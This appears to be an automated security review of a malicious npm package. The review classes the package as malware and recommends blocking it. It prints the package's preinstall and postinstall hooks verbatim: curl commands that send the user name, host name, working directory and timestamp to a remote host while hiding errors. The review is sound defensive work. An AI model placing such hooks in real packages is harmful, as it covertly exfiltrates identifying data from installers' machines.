Each request embeds whoami, hostname, the current working directory, and a timestamp in a URL sent to a remote host, while redirecting output and ignoring errors. The source provides no functional installation purpose for this collection; index.js is only a placeholder message. - **Rationale:** This is unconsented install-time collection and remote transmission of host-identifying information. The duplicate lifecycle callbacks and suppressed failures make it concrete malicious install-hook behavior. - **Files touched:** package.json - **Network endpoints:** http://da9ohqqvbsgu1166tuu0rrroxsztr18dt.cyowl.com/autobahn-electron-probe/ ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** The preinstall hook sends the current user, host name, working directory, and timestamp to a remote host., The same host fingerprint callback runs again automatically after installation., The callback suppresses failures, making the outbound activity less visible to installers. - **Evidence against:** The only runtime entrypoint is a static placeholder message., No additional package files or payload loaders are present. ## Public findings ### 1.

Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 5. High: Manifest Script Host Fingerprint Callback - **Category:** Source - **Confidence:** 94.0% - **Path:** package.json\#scripts.preinstall - **Public source:** [View source]() An npm script sends host identity through command substitution to a fixed external destination. Public source snippet (untrusted): ```text scripts.preinstall = curl -s "http://[redacted].cyowl.com/autobahn-electron-probe/?u=$(whoami)&h=$(hostname)&d=$PWD&t=$(date +%s)" > /dev/null || true ``` ### 6. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() The preinstall hook sends the current user, host name, working directory, and timestamp to a remote host. Public source snippet (untrusted): ```json "preinstall": "curl -s \"http://[redacted].cyowl.com/autobahn-electron-probe/?u=$(whoami)&h=$(hostname)&d=$PWD&t=$(date +%s)\" > /dev/null || true", ``` ### 7. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() The same host fingerprint callback runs again automatically after installation. Public source snippet (untrusted): ```json "postinstall": "curl -s \"http://[redacted].cyowl.com/autobahn-electron-probe/?u=$(whoami)&h=$(hostname)&d=$PWD&t=$(date +%s)\" > /dev/null || true ``` ### 8. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() The callback suppresses failures, making the outbound activity less visible to installers.
